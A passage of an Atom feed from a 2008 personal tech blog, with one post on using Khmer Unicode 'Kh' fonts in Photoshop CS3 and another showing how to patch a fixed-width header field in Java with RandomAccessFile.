/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;See how to do it:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Install fonts&lt;/span&gt;: Start -&gt; Control Panel -&gt; Fonts -&gt; Install New Fonts -&gt; Select Kh fonts to install&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVHbscimbcI/AAAAAAAAAFA/LhOaI_FomjQ/s1600-h/CS3_2.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 215px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVHbscimbcI/AAAAAAAAAFA/LhOaI_FomjQ/s320/CS3_2.JPG" alt="" id="BLOGGER_PHOTO_ID_5283245394504347074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. On Adobe Photoshop CS3&lt;/span&gt;, select a Kh font (Ex: Kh System)&lt;br /&gt;Here Example:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVHb1PUA5iI/AAAAAAAAAFI/JRD4ULGIzlw/s1600-h/CS3_3.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 175px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVHb1PUA5iI/AAAAAAAAAFI/JRD4ULGIzlw/s320/CS3_3.JPG" alt="" id="BLOGGER_PHOTO_ID_5283245545572328994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: any font name in group of Kh font will be Ok with CS3, these fonts also can use well with embedded for website without needed usp10.dll, I'll test it first.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5565456749426173810?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/l-ePgIIiNcoDUcQkvOnu3dVGnpI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/l-ePgIIiNcoDUcQkvOnu3dVGnpI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/l-ePgIIiNcoDUcQkvOnu3dVGnpI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/l-ePgIIiNcoDUcQkvOnu3dVGnpI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/lPgJYNVObyM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5565456749426173810/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2008/12/khmer-unicode-works-now-with-adobe-cs3.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5565456749426173810?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5565456749426173810?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/lPgJYNVObyM/khmer-unicode-works-now-with-adobe-cs3.html" title="Khmer Unicode works now with Adobe CS3" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_X4hIsD6J-rE/SVHbCGJlxYI/AAAAAAAAAEw/HKy7TJSZ16I/s72-c/CS3_0.JPG" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2008/12/khmer-unicode-works-now-with-adobe-cs3.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUINQXo4eSp7ImA9WxJXFkw.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-323929174758237771</id><published>2008-12-22T19:31:00.000-08:00</published><updated>2009-06-10T00:06:30.431-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-10T00:06:30.431-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="RandomAccessFile" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Write to file" /><title>Write a string to the specific line or position in the written file in java</title><content type="html">I got doubt on this point almost 2 hours to seek how can I write a string to a file at the position, I want.&lt;br /&gt;&lt;br /&gt;Let me try to explain my issue that would help others who will have the same:&lt;br /&gt;I extracted the data from database and write it to a file, I have so many queries for one group of lines, the layout of the file is:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;1 line header&lt;br /&gt;many lines detail&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;On the header, it's the summary of all lines in detail, it's in one query and I need to write first line of the header and a group of lines for detail to prevent OutOfMemory Exception at run time (As my file can have data around 1000 MB or much more than this).&lt;br /&gt;One day, I got a request on my dev to modify a rule at the header that i need to count all lines of detail and put in in the header line in one position (position 27),&lt;br /&gt;1. I don't want to execute count all queries of detail to find the record as we can count it when each query extract data so that we can reduce some cost of performance issue.&lt;br /&gt;2. And we should not keep all lines of detail in StringBuffer or String or in list or map and after finish iterate them to write into file from header and then the details (this way we can count the record lines till queries of detail finished and then add it to header as normal), this solution for sure, we will meet OutOfMemory Exception for hug amount of data.&lt;br /&gt;3. So the only solution to write the lines of header and details as normal but try to integrate the record count value to the header line in written file which should not rewrite the new file by read from the written file (performance issue!)..&lt;br /&gt;&lt;br /&gt;With solution 3/ above, I got the way with RandomAccessFile functionality: Seeking the byte position of records and after the position integrate the value we prefer.&lt;br /&gt;As my file is fixed length file, and the field to add is at &lt;span style="font-weight: bold;"&gt;position 27 &lt;/span&gt;so the end position of it is &lt;span style="font-weight: bold;"&gt;26&lt;/span&gt;, here is example:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;file.txt: 1 line header and 12 lines of detail:&lt;br /&gt;00000000000540000022102008&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0        &lt;/span&gt;98136&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;I need to add value: 12 to the position 27, here is the code:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;/**&lt;br /&gt;* @param args&lt;br /&gt;* @throws IOException&lt;br /&gt;*/&lt;br /&gt;public static void main(String[] args) throws IOException {&lt;br /&gt;   RandomAccessFile reReadWriteFile = null;&lt;br /&gt;   try {&lt;br /&gt;       reReadWriteFile = &lt;br /&gt;              new RandomAccessFile("file.txt", "rw");&lt;br /&gt;   } catch (FileNotFoundException e) {&lt;br /&gt;       System.out.println("Error: " + e.getMessage());&lt;br /&gt;       throw e;&lt;br /&gt;   }&lt;br /&gt;       &lt;br /&gt;   try {&lt;br /&gt;       // To search on 26 bytes of field total detail lines &lt;br /&gt;       // at header line&lt;br /&gt;       reReadWriteFile.seek(26);&lt;br /&gt;       reReadWriteFile.writeBytes("12");&lt;br /&gt;       reReadWriteFile.close();&lt;br /&gt;   } catch (IOException e) {&lt;br /&gt;       System.out.println("Error: " + e.getMessage()); &lt;br /&gt;       throw e;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After execute, file.txt: will be&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;00000000000540000022102008&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;12       &lt;/span&gt;98136&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Hope it helps you!&lt;br /&gt;Metrey,&lt;br /&gt;&lt;br /&gt;Learning Tip: &lt;a href="http://java.sun.com/j2se/1.4.2/docs/api/java/io/RandomAccessFile.html"&gt;API of RandomAccessFile&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-323929174758237771?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/J0hIj6AfYqGbuOAEezVyDtAzv4Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J0hIj6AfYqGbuOAEezVyDtAzv4Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/J0hIj6AfYqGbuOAEezVyDtAzv4Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J0hIj6AfYqGbuOAEezVyDtAzv4Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/sF8WWqur6rk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/323929174758237771/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2008/12/write-string-to-specific-line-or.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/323929174758237771?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/323929174758237771?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/sF8WWqur6rk/write-string-to-specific-line-or.html" title="Write a string to the specific line or position in the written file in java" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2008/12/write-string-to-specific-line-or.html</feedburner:origLink></entry></feed>

